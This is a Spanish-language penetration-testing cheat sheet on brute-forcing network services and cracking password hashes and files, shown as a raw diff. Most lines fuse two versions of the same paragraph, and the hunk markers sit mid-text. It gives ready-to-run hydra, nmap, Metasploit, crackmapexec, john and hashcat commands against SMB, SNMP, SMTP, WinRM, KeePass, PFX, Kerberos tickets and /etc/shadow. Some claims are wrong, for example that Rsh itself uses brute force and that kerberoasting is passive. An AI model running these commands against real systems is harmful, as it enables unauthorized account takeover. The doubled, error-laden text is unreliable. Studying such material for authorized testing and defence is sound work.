Para protegerse contra ataques de fuerza bruta como Rexec, es importante utilizar contraseñas seguras y complejas, así como implementar medidas de seguridad adicionales, como bloqueo de cuentas después de varios intentos fallidos de inicio de sesión. Es importante tener en cuenta que realizar un ataque de fuerza bruta en un sistema sin permiso es ilegal y puede tener consecuencias legales graves. Solo se debe realizar un ataque de fuerza bruta en un sistema con el consentimiento explícito del propietario y como parte de una evaluación de seguridad autorizada, como una prueba de penetración.
En resumen, Rexec es una técnica de hacking que implica el uso de la fuerza bruta para adivinar las credenciales de inicio de sesión de un sistema remoto. Sin embargo, su uso sin autorización es ilegal y debe ser realizado únicamente por profesionales de la seguridad informática en el contexto de pruebas de penetración autorizadas.
```bash ```bash
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
``` ```
@ -656,13 +615,13 @@ hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
``` ```
### Rsh ### Rsh
El protocolo Rsh (Remote Shell) es un protocolo de red utilizado para ejecutar comandos en un sistema remoto. Es similar al protocolo SSH, pero carece de cifrado y autenticación segura. Esto lo convierte en un objetivo atractivo para los hackers que desean obtener acceso no autorizado a sistemas remotos. El Rsh (Remote Shell) es un protocolo de red que permite a un usuario ejecutar comandos en un sistema remoto. Es similar al comando `ssh`, pero sin la autenticación segura. El Rsh utiliza un enfoque de fuerza bruta para adivinar las credenciales de inicio de sesión del sistema remoto.
Una técnica común utilizada para atacar sistemas que utilizan Rsh es el ataque de fuerza bruta. En este tipo de ataque, el hacker intenta adivinar la contraseña correcta probando diferentes combinaciones de contraseñas hasta encontrar la correcta. Esto se hace utilizando herramientas automatizadas que prueban miles o incluso millones de contraseñas en poco tiempo. La técnica de fuerza bruta consiste en probar todas las combinaciones posibles de nombres de usuario y contraseñas hasta encontrar la correcta. Esto se logra mediante el uso de herramientas automatizadas que generan y prueban estas combinaciones de forma rápida y eficiente.
Para llevar a cabo un ataque de fuerza bruta contra un sistema Rsh, el hacker necesita una lista de posibles contraseñas. Esta lista puede ser generada utilizando diccionarios de contraseñas comunes, combinaciones de palabras o incluso mediante el uso de algoritmos de generación de contraseñas. Sin embargo, el uso de la técnica de fuerza bruta para acceder a sistemas remotos está altamente desaconsejado, ya que es una violación de la privacidad y puede ser ilegal. Además, muchos sistemas tienen medidas de seguridad en su lugar para detectar y bloquear intentos de fuerza bruta.
Es importante tener en cuenta que los ataques de fuerza bruta son ilegales y están estrictamente prohibidos sin el consentimiento explícito del propietario del sistema. Además, los sistemas Rsh son considerados inseguros y se recomienda encarecidamente utilizar protocolos más seguros, como SSH, para acceder de forma remota a sistemas. Es importante tener en cuenta que el Rsh es un protocolo obsoleto y no se recomienda su uso en entornos de producción. En su lugar, se recomienda utilizar protocolos más seguros como `ssh` para acceder de forma remota a sistemas.
```bash ```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V hydra -L <Username_list> rsh://<Victim_IP> -v -V
``` ```
@ -682,15 +641,17 @@ nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/va
``` ```
### RTSP ### RTSP
El Protocolo de Transmisión en Tiempo Real (RTSP, por sus siglas en inglés) es un protocolo de red utilizado para controlar la transmisión de medios en tiempo real, como audio y video, a través de redes IP. RTSP permite la reproducción continua de medios y la interacción con el servidor de medios. El Protocolo de Transmisión en Tiempo Real (RTSP, por sus siglas en inglés) es un protocolo de red utilizado para controlar la transmisión de medios en tiempo real, como audio y video, a través de redes IP. RTSP permite a los clientes controlar la reproducción de medios, como reproducir, pausar, detener y avanzar rápidamente.
#### Ataques de fuerza bruta contra RTSP #### Ataques de fuerza bruta contra RTSP
Los ataques de fuerza bruta son una técnica común utilizada para intentar adivinar contraseñas o claves de acceso. En el caso de RTSP, un ataque de fuerza bruta implica intentar adivinar la contraseña de un servidor RTSP mediante la prueba de diferentes combinaciones de contraseñas. Los ataques de fuerza bruta son una técnica común utilizada por los hackers para intentar adivinar contraseñas o claves de acceso. En el caso de RTSP, un ataque de fuerza bruta implica intentar todas las combinaciones posibles de contraseñas hasta encontrar la correcta.
Existen varias herramientas disponibles para llevar a cabo ataques de fuerza bruta contra servidores RTSP. Estas herramientas automatizan el proceso de prueba de contraseñas y pueden probar miles de combinaciones en poco tiempo. Existen varias herramientas disponibles para llevar a cabo ataques de fuerza bruta contra servidores RTSP. Estas herramientas automatizan el proceso de intentar diferentes combinaciones de contraseñas a alta velocidad.
Es importante tener en cuenta que los ataques de fuerza bruta son ilegales y están sujetos a sanciones legales. Solo se deben realizar ataques de fuerza bruta en sistemas y redes autorizadas, como parte de una evaluación de seguridad o una prueba de penetración. Para protegerse contra los ataques de fuerza bruta en RTSP, es importante seguir buenas prácticas de seguridad, como utilizar contraseñas fuertes y cambiarlas regularmente. Además, se recomienda implementar medidas de seguridad adicionales, como bloquear direcciones IP después de un número determinado de intentos fallidos de inicio de sesión.
En resumen, RTSP es un protocolo utilizado para la transmisión de medios en tiempo real, y los ataques de fuerza bruta son una técnica común utilizada por los hackers para intentar adivinar contraseñas en servidores RTSP. Es importante tomar medidas de seguridad adecuadas para protegerse contra estos ataques.
```bash ```bash
hydra -l root -P passwords.txt <IP> rtsp hydra -l root -P passwords.txt <IP> rtsp
``` ```
@ -698,15 +659,13 @@ hydra -l root -P passwords.txt <IP> rtsp
El Protocolo Simple de Administración de Red (SNMP, por sus siglas en inglés) es un protocolo de red utilizado para administrar y supervisar dispositivos en una red. SNMP permite a los administradores de red recopilar información y controlar dispositivos de red, como routers, switches y servidores. El Protocolo Simple de Administración de Red (SNMP, por sus siglas en inglés) es un protocolo de red utilizado para administrar y supervisar dispositivos en una red. SNMP permite a los administradores de red recopilar información y controlar dispositivos de red, como routers, switches y servidores.
El protocolo SNMP utiliza una estructura de datos jerárquica llamada MIB (Base de Información de Administración) para organizar y almacenar información sobre los dispositivos de red. Los administradores pueden utilizar herramientas de gestión de red para acceder a la MIB y obtener información sobre el estado y el rendimiento de los dispositivos. El protocolo SNMP utiliza una estructura de datos jerárquica llamada MIB (Base de Información de Administración) para organizar y almacenar información sobre los dispositivos de red. Los administradores pueden utilizar herramientas de gestión de red para consultar y modificar los valores de los objetos MIB en los dispositivos SNMP.
Una técnica común utilizada en el hacking es el ataque de fuerza bruta, que implica probar todas las combinaciones posibles de contraseñas hasta encontrar la correcta. Esto se puede aplicar al protocolo SNMP para intentar adivinar la cadena de comunidad, que es una especie de contraseña utilizada para autenticar las solicitudes SNMP. Una técnica común utilizada en el hacking es el ataque de fuerza bruta, que implica probar todas las combinaciones posibles de contraseñas hasta encontrar la correcta. Esto se puede aplicar al protocolo SNMP para intentar adivinar la cadena de comunidad, que es una especie de contraseña utilizada para autenticar las solicitudes SNMP.
Los hackers pueden utilizar herramientas automatizadas para realizar ataques de fuerza bruta en el protocolo SNMP. Estas herramientas intentarán todas las combinaciones posibles de cadenas de comunidad hasta encontrar la correcta. Una vez que se ha obtenido acceso a un dispositivo SNMP, los hackers pueden recopilar información confidencial o incluso realizar cambios no autorizados en la configuración del dispositivo. Los hackers pueden utilizar herramientas de fuerza bruta para probar diferentes cadenas de comunidad y tratar de obtener acceso no autorizado a los dispositivos SNMP. Esto puede permitirles recopilar información confidencial o incluso controlar los dispositivos de red de forma remota.
Para protegerse contra los ataques de fuerza bruta en SNMP, es importante utilizar cadenas de comunidad fuertes y únicas. Además, se recomienda utilizar firewalls y filtrado de direcciones IP para limitar el acceso a los dispositivos SNMP solo a direcciones IP autorizadas. Para protegerse contra los ataques de fuerza bruta en SNMP, es importante utilizar cadenas de comunidad fuertes y únicas. Además, se deben implementar medidas de seguridad adicionales, como el filtrado de direcciones IP y la autenticación de usuarios, para evitar el acceso no autorizado a los dispositivos SNMP.
En resumen, SNMP es un protocolo utilizado para administrar y supervisar dispositivos de red. Sin embargo, los hackers pueden utilizar técnicas de fuerza bruta para intentar adivinar las cadenas de comunidad y obtener acceso no autorizado a los dispositivos SNMP. Es importante tomar medidas de seguridad para protegerse contra estos ataques.
```bash ```bash
msf> use auxiliary/scanner/snmp/snmp_login msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ] nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
@ -715,32 +674,35 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta
``` ```
### SMB ### SMB
SMB (Server Message Block) es un protocolo de red utilizado para compartir archivos, impresoras y otros recursos en una red local. Es comúnmente utilizado en entornos Windows y permite a los usuarios acceder y administrar recursos compartidos en una red. SMB (Server Message Block) es un protocolo de red utilizado para compartir archivos, impresoras y otros recursos en una red local. Es ampliamente utilizado en entornos de Windows y permite a los usuarios acceder y administrar recursos compartidos en una red.
El protocolo SMB también puede ser utilizado por los hackers como una vía para realizar ataques de fuerza bruta. Un ataque de fuerza bruta consiste en intentar todas las combinaciones posibles de contraseñas hasta encontrar la correcta. En el caso de SMB, un hacker puede utilizar herramientas automatizadas para intentar adivinar la contraseña de una cuenta de usuario o de un recurso compartido. El ataque de fuerza bruta es una técnica comúnmente utilizada para comprometer sistemas que utilizan el protocolo SMB. Consiste en probar todas las posibles combinaciones de contraseñas hasta encontrar la correcta. Esto se logra utilizando herramientas automatizadas que intentan diferentes combinaciones de contraseñas a una velocidad muy alta.
Para protegerse contra los ataques de fuerza bruta en SMB, es importante utilizar contraseñas fuertes y complejas, que sean difíciles de adivinar. Además, se recomienda implementar medidas de seguridad adicionales, como bloquear direcciones IP sospechosas o limitar el número de intentos de inicio de sesión fallidos. El ataque de fuerza bruta puede ser efectivo si se utilizan contraseñas débiles o si no se implementan medidas de seguridad adecuadas, como bloquear las cuentas después de un número determinado de intentos fallidos. Para protegerse contra este tipo de ataque, es importante utilizar contraseñas seguras y establecer políticas de bloqueo de cuentas.
En resumen, SMB es un protocolo de red utilizado para compartir recursos en una red local. Sin embargo, también puede ser utilizado por hackers para realizar ataques de fuerza bruta. Es importante tomar medidas de seguridad para protegerse contra estos ataques. Además del ataque de fuerza bruta, existen otras técnicas de hacking que pueden comprometer sistemas que utilizan el protocolo SMB, como la explotación de vulnerabilidades conocidas o el uso de herramientas de hacking específicas. Es importante estar al tanto de las últimas vulnerabilidades y parches de seguridad para protegerse contra estos ataques.
```bash ```bash
nmap --script smb-brute -p 445 <IP> nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
``` ```
### SMTP El protocolo SMTP (Simple Mail Transfer Protocol) es un protocolo de red utilizado para enviar correos electrónicos a través de Internet. SMTP es un protocolo de texto sin estado que se basa en el modelo cliente-servidor. El cliente SMTP se utiliza para enviar mensajes de correo electrónico al servidor SMTP, que luego se encarga de entregar el mensaje al destinatario.
El Protocolo Simple de Transferencia de Correo (SMTP, por sus siglas en inglés) es un protocolo de red utilizado para enviar correos electrónicos a través de Internet. SMTP es un estándar de la industria y es ampliamente utilizado por los servidores de correo electrónico para la entrega de mensajes.
#### Ataques de fuerza bruta contra SMTP #### Ataques de fuerza bruta contra SMTP
Un ataque de fuerza bruta contra SMTP implica intentar adivinar las credenciales de acceso de una cuenta de correo electrónico mediante la prueba de diferentes combinaciones de nombres de usuario y contraseñas. Este tipo de ataque se basa en la premisa de que muchas personas utilizan contraseñas débiles o predecibles, lo que facilita su adivinación. Un ataque de fuerza bruta contra SMTP es un método utilizado por los hackers para obtener acceso no autorizado a una cuenta de correo electrónico. En este tipo de ataque, el hacker intenta adivinar la contraseña correcta probando diferentes combinaciones de contraseñas hasta encontrar la correcta.
Existen varias herramientas y técnicas disponibles para llevar a cabo un ataque de fuerza bruta contra SMTP. Algunas de las más comunes incluyen: Existen varias herramientas y recursos disponibles para llevar a cabo un ataque de fuerza bruta contra SMTP. Estas herramientas automatizan el proceso de adivinar contraseñas y pueden probar miles de combinaciones en poco tiempo.
- **Diccionarios de contraseñas**: Estas herramientas utilizan una lista predefinida de contraseñas comunes o palabras del diccionario para probar diferentes combinaciones. #### Protección contra ataques de fuerza bruta
- **Ataques de fuerza bruta pura**: Estos ataques prueban todas las posibles combinaciones de caracteres hasta encontrar la contraseña correcta. Sin embargo, este enfoque puede llevar mucho tiempo y consumir muchos recursos.
- **Ataques de fuerza bruta híbridos**: Estos ataques combinan diccionarios de contraseñas con ataques de fuerza bruta pura para aumentar la eficiencia y reducir el tiempo necesario para encontrar la contraseña correcta.
Es importante tener en cuenta que los ataques de fuerza bruta contra SMTP son ilegales y están sujetos a sanciones legales. Solo se deben realizar pruebas de penetración en sistemas autorizados y con el consentimiento del propietario del sistema. Para protegerse contra los ataques de fuerza bruta contra SMTP, es importante seguir algunas prácticas recomendadas:
- Utilizar contraseñas fuertes: Las contraseñas deben ser largas, complejas y únicas para cada cuenta de correo electrónico.
- Implementar bloqueo de cuentas: Después de un número determinado de intentos fallidos de inicio de sesión, se debe bloquear la cuenta durante un período de tiempo para evitar ataques de fuerza bruta.
- Utilizar autenticación de dos factores: La autenticación de dos factores agrega una capa adicional de seguridad al requerir un segundo factor de autenticación, como un código enviado al teléfono móvil del usuario, además de la contraseña.
- Mantener el software actualizado: Es importante mantener el software de correo electrónico y los sistemas operativos actualizados para protegerse contra vulnerabilidades conocidas.
Al seguir estas prácticas recomendadas, se puede reducir significativamente el riesgo de un ataque de fuerza bruta contra SMTP y proteger la integridad de las cuentas de correo electrónico.
```bash ```bash
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
@ -820,10 +782,10 @@ Existen varias herramientas disponibles para llevar a cabo ataques de fuerza bru
Para mitigar los ataques de fuerza bruta contra VNC, se recomienda seguir las siguientes medidas de seguridad: Para mitigar los ataques de fuerza bruta contra VNC, se recomienda seguir las siguientes medidas de seguridad:
- Utilizar contraseñas fuertes y únicas para el acceso a VNC. - Utilizar contraseñas fuertes y únicas para el acceso a VNC.
- Limitar el número de intentos de inicio de sesión fallidos antes de bloquear la cuenta. - Implementar medidas de bloqueo después de un número determinado de intentos fallidos de inicio de sesión.
- Implementar medidas de seguridad adicionales, como el uso de autenticación de dos factores. - Utilizar una VPN para cifrar la conexión entre el cliente y el servidor VNC.
- Limitar el acceso a VNC solo a direcciones IP específicas o a través de una red privada virtual (VPN).
- Mantener el software VNC actualizado con las últimas correcciones de seguridad. - Mantener el software VNC actualizado con las últimas correcciones de seguridad.
- Utilizar una conexión segura, como SSH, para acceder al sistema VNC de forma remota.
Al seguir estas medidas de seguridad, se puede reducir significativamente el riesgo de un ataque de fuerza bruta exitoso contra VNC. Al seguir estas medidas de seguridad, se puede reducir significativamente el riesgo de un ataque de fuerza bruta exitoso contra VNC.
```bash ```bash
@ -843,18 +805,18 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
Winrm es un protocolo de administración remota desarrollado por Microsoft que permite a los administradores controlar y administrar sistemas Windows de forma remota. Winrm utiliza el protocolo SOAP (Simple Object Access Protocol) sobre HTTP o HTTPS para la comunicación entre el cliente y el servidor. Winrm es un protocolo de administración remota desarrollado por Microsoft que permite a los administradores controlar y administrar sistemas Windows de forma remota. Winrm utiliza el protocolo SOAP (Simple Object Access Protocol) sobre HTTP o HTTPS para la comunicación entre el cliente y el servidor.
El protocolo Winrm se utiliza comúnmente en entornos de administración de sistemas para realizar tareas como la ejecución de comandos, la configuración de políticas de grupo y la administración de servicios. También se puede utilizar para la administración remota de servidores Windows en un entorno de pentesting. El ataque de fuerza bruta en Winrm implica intentar adivinar las credenciales de inicio de sesión de un sistema Windows utilizando un método de prueba y error. Esto se logra enviando múltiples combinaciones de nombres de usuario y contraseñas hasta que se encuentra una coincidencia exitosa.
Debido a su naturaleza de comunicación basada en HTTP/HTTPS, Winrm puede ser vulnerable a ataques de fuerza bruta. Los atacantes pueden intentar adivinar las credenciales de inicio de sesión utilizando un diccionario de contraseñas o combinaciones de nombres de usuario y contraseñas comunes. Para protegerse contra estos ataques, es importante implementar medidas de seguridad adecuadas, como políticas de contraseñas fuertes y bloqueo de cuentas después de un número determinado de intentos fallidos. Para llevar a cabo un ataque de fuerza bruta en Winrm, se pueden utilizar herramientas como Hydra o Medusa, que automatizan el proceso de envío de solicitudes de autenticación con diferentes combinaciones de credenciales.
En resumen, Winrm es un protocolo de administración remota utilizado en entornos Windows que puede ser vulnerable a ataques de fuerza bruta. Es importante implementar medidas de seguridad adecuadas para protegerse contra estos ataques. Es importante tener en cuenta que los ataques de fuerza bruta son ilegales y están estrictamente prohibidos sin el consentimiento explícito del propietario del sistema objetivo. Estos ataques pueden causar daños graves y violar la privacidad y seguridad de los sistemas y datos.
```bash ```bash
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
``` ```
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -874,7 +836,7 @@ Obtén acceso hoy mismo:
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
Revisa esto antes de intentar realizar un ataque de fuerza bruta a un hash. Revisa esto antes de intentar realizar un ataque de fuerza bruta a un Hash.
### ZIP ### ZIP
```bash ```bash
@ -936,13 +898,11 @@ La fuerza bruta es una técnica de hacking que implica probar todas las combinac
La fuerza bruta se basa en la premisa de que, dado el tiempo suficiente, se puede probar cada posible combinación de caracteres hasta encontrar la contraseña correcta. Esto se logra utilizando programas automatizados que generan y prueban contraseñas en rápida sucesión. La fuerza bruta se basa en la premisa de que, dado el tiempo suficiente, se puede probar cada posible combinación de caracteres hasta encontrar la contraseña correcta. Esto se logra utilizando programas automatizados que generan y prueban contraseñas en rápida sucesión.
Existen diferentes métodos y herramientas disponibles para llevar a cabo ataques de fuerza bruta. Algunas herramientas populares incluyen Hydra, Medusa y John the Ripper. Estas herramientas permiten a los hackers automatizar el proceso de generación y prueba de contraseñas. Existen diferentes métodos y herramientas disponibles para llevar a cabo ataques de fuerza bruta. Algunas de las herramientas más populares incluyen Hydra, Medusa y John the Ripper. Estas herramientas permiten a los hackers automatizar el proceso de prueba de contraseñas y acelerar el tiempo necesario para encontrar la contraseña correcta.
Es importante tener en cuenta que la fuerza bruta puede llevar mucho tiempo, especialmente si la contraseña es larga y compleja. Además, algunos sistemas tienen medidas de seguridad en su lugar para detectar y bloquear ataques de fuerza bruta, como bloquear una cuenta después de un cierto número de intentos fallidos. Es importante tener en cuenta que la fuerza bruta puede ser un proceso lento y consumir muchos recursos computacionales. Además, algunos sistemas tienen medidas de seguridad en su lugar para detectar y bloquear ataques de fuerza bruta, como bloquear una cuenta después de un número determinado de intentos fallidos.
Aunque la fuerza bruta puede ser efectiva en algunos casos, también es una técnica ruidosa y fácilmente detectable. Los administradores de sistemas pueden monitorear los intentos de inicio de sesión y tomar medidas para proteger sus sistemas contra ataques de fuerza bruta. A pesar de sus limitaciones, la fuerza bruta sigue siendo una técnica de hacking popular debido a su simplicidad y efectividad. Es por eso que es importante que los usuarios utilicen contraseñas seguras y eviten el uso de contraseñas débiles o predecibles.
En resumen, la fuerza bruta es una técnica de hacking que implica probar todas las combinaciones posibles de contraseñas hasta encontrar la correcta. Aunque puede ser efectiva en algunos casos, también es fácilmente detectable y puede llevar mucho tiempo. Los administradores de sistemas deben tomar medidas para proteger sus sistemas contra ataques de fuerza bruta.
```bash ```bash
apt-get install pdfcrack apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
@ -973,7 +933,7 @@ El descifrado de NTLM es una técnica utilizada para obtener contraseñas median
La fuerza bruta es un método en el que se prueban todas las combinaciones posibles de contraseñas hasta encontrar la correcta. En el caso del descifrado de NTLM, se generan hashes de contraseñas y se comparan con el hash objetivo para encontrar una coincidencia. La fuerza bruta es un método en el que se prueban todas las combinaciones posibles de contraseñas hasta encontrar la correcta. En el caso del descifrado de NTLM, se generan hashes de contraseñas y se comparan con el hash objetivo para encontrar una coincidencia.
Existen varias herramientas y recursos disponibles para llevar a cabo el descifrado de NTLM. Algunas de las herramientas más populares incluyen John the Ripper, Hashcat y oclHashcat. Estas herramientas utilizan técnicas avanzadas de procesamiento de contraseñas para acelerar el proceso de descifrado. Existen varias herramientas y recursos disponibles para llevar a cabo el descifrado de NTLM. Algunas de las herramientas más populares incluyen John the Ripper, Hashcat y oclHashcat. Estas herramientas utilizan técnicas avanzadas de procesamiento de hashes para acelerar el proceso de descifrado.
Es importante tener en cuenta que el descifrado de NTLM es una actividad ilegal sin el consentimiento del propietario del sistema. Solo se debe realizar como parte de una evaluación de seguridad autorizada, como una prueba de penetración. Es importante tener en cuenta que el descifrado de NTLM es una actividad ilegal sin el consentimiento del propietario del sistema. Solo se debe realizar como parte de una evaluación de seguridad autorizada, como una prueba de penetración.
```bash ```bash
@ -991,9 +951,7 @@ Para proteger tu base de datos de Keepass contra ataques de fuerza bruta, es imp
Otra medida de seguridad importante es habilitar la función de bloqueo después de un número determinado de intentos fallidos de inicio de sesión. Esto evitará que un atacante continúe intentando adivinar la contraseña después de un cierto número de intentos. Otra medida de seguridad importante es habilitar la función de bloqueo después de un número determinado de intentos fallidos de inicio de sesión. Esto evitará que un atacante continúe intentando adivinar la contraseña después de un cierto número de intentos.
Además, es recomendable mantener tu base de datos de Keepass actualizada con las últimas actualizaciones de seguridad. Estas actualizaciones suelen incluir parches para vulnerabilidades conocidas y mejoras en la seguridad del software. Recuerda también mantener tu base de datos de Keepass actualizada con las últimas actualizaciones de seguridad y utilizar una versión de Keepass que sea compatible con tu sistema operativo. Mantener tus contraseñas seguras es fundamental para proteger tu información personal y evitar posibles ataques.
Recuerda que la seguridad de tus contraseñas depende en gran medida de ti. Utiliza Keepass de manera responsable y sigue buenas prácticas de seguridad, como no compartir tus contraseñas con nadie y cambiarlas regularmente.
```bash ```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password keepass2john file.kdbx > hash #The keepass is only using password
@ -1009,11 +967,11 @@ El proceso de keberoasting comienza identificando las cuentas de servicio en el
Luego, se utiliza una herramienta como "Rubeus" para solicitar un ticket de servicio para cada cuenta de servicio identificada. Estos tickets de servicio contienen los hashes de Kerberos necesarios para realizar el ataque de keberoasting. Luego, se utiliza una herramienta como "Rubeus" para solicitar un ticket de servicio para cada cuenta de servicio identificada. Estos tickets de servicio contienen los hashes de Kerberos necesarios para realizar el ataque de keberoasting.
Una vez obtenidos los tickets de servicio, se extraen los hashes de Kerberos y se utilizan herramientas como "John the Ripper" o "Hashcat" para realizar un ataque de fuerza bruta y descifrar las contraseñas débiles. Una vez obtenidos los tickets de servicio, se extraen los hashes de Kerberos y se utilizan herramientas como "John the Ripper" o "Hashcat" para realizar un ataque de fuerza bruta y descifrar las contraseñas débiles asociadas a estos hashes.
Es importante destacar que keberoasting solo funciona con contraseñas débiles, ya que las contraseñas fuertes son más difíciles de descifrar mediante ataques de fuerza bruta. Por lo tanto, es fundamental utilizar contraseñas seguras y robustas para evitar este tipo de ataques. Es importante destacar que keberoasting es un ataque pasivo, lo que significa que no se requiere interactuar directamente con el sistema objetivo. Esto lo hace especialmente útil en escenarios donde no se permite el acceso directo a los sistemas o cuando se desea minimizar la detección.
En resumen, keberoasting es una técnica de ataque que aprovecha las contraseñas débiles de las cuentas de servicio en un dominio de Active Directory. Mediante el uso de herramientas de descifrado y ataques de fuerza bruta, los hackers pueden obtener acceso no autorizado a estas cuentas y comprometer la seguridad del sistema. Para protegerse contra el ataque de keberoasting, es recomendable implementar políticas de contraseñas fuertes para las cuentas de servicio y realizar auditorías regulares para identificar y corregir contraseñas débiles.
```bash ```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
@ -1096,13 +1054,15 @@ zip -r file.xls .
``` ```
### Certificados PFX ### Certificados PFX
Los certificados PFX son archivos que contienen tanto la clave privada como el certificado público en un solo archivo. Estos certificados se utilizan comúnmente en entornos de seguridad para autenticar y cifrar la comunicación entre sistemas. Los certificados PFX son archivos que contienen tanto la clave privada como el certificado público. Estos archivos se utilizan comúnmente en entornos de seguridad para autenticar y cifrar la comunicación entre sistemas. Los certificados PFX se pueden utilizar en una variedad de aplicaciones, como servidores web, servicios de correo electrónico y VPN.
### Ataques de fuerza bruta ### Ataques de fuerza bruta
Un ataque de fuerza bruta es una técnica utilizada por los hackers para descifrar contraseñas o claves de cifrado probando todas las combinaciones posibles hasta encontrar la correcta. Este tipo de ataque puede ser muy efectivo, pero también puede llevar mucho tiempo dependiendo de la complejidad de la contraseña o clave. Un ataque de fuerza bruta es una técnica utilizada por los hackers para descifrar contraseñas o claves de cifrado mediante la prueba de todas las combinaciones posibles hasta encontrar la correcta. Este tipo de ataque puede ser extremadamente efectivo, pero también puede llevar mucho tiempo dependiendo de la complejidad de la contraseña o clave.
Existen varias herramientas y recursos disponibles para llevar a cabo ataques de fuerza bruta, como programas de software especializados y diccionarios de contraseñas. Es importante tener en cuenta que los ataques de fuerza bruta son ilegales y solo deben ser realizados por profesionales de la seguridad en el contexto de pruebas de penetración autorizadas. Existen varias herramientas y recursos disponibles para llevar a cabo ataques de fuerza bruta, como programas de software especializados y diccionarios de contraseñas. Estas herramientas pueden automatizar el proceso de prueba de todas las combinaciones posibles, lo que acelera el tiempo necesario para descifrar una contraseña o clave.
Es importante tener en cuenta que los ataques de fuerza bruta son ilegales y están estrictamente prohibidos sin el consentimiento explícito del propietario del sistema o recurso que se está atacando. Además, es importante utilizar contraseñas seguras y claves de cifrado fuertes para protegerse contra este tipo de ataques.
```bash ```bash
# From https://github.com/Ridter/p12tool # From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
@ -1112,7 +1072,7 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -1135,7 +1095,7 @@ hash-identifier
### **Herramientas de generación de listas de palabras** ### **Herramientas de generación de listas de palabras**
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Generador avanzado de secuencias de teclado con caracteres base, mapa de teclado y rutas configurables. * [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Generador avanzado de combinaciones de teclado con caracteres base, mapa de teclado y rutas configurables.
```bash ```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
``` ```
@ -1232,25 +1192,33 @@ hashcat --example-hashes | grep -B1 -A2 "NTLM"
``` ```
# Descifrando Hashes de Linux - archivo /etc/shadow # Descifrando Hashes de Linux - archivo /etc/shadow
El archivo `/etc/shadow` en sistemas Linux almacena las contraseñas de los usuarios en forma de hashes. Estos hashes son generados utilizando algoritmos criptográficos como MD5, SHA-256, etc. En este capítulo, exploraremos una técnica comúnmente utilizada para descifrar estos hashes, conocida como ataque de fuerza bruta. El archivo `/etc/shadow` en sistemas Linux almacena las contraseñas de los usuarios en forma de hashes. Estos hashes son generados utilizando algoritmos criptográficos como MD5, SHA-256, etc. En este capítulo, exploraremos una técnica comúnmente utilizada para descifrar estos hashes: el ataque de fuerza bruta.
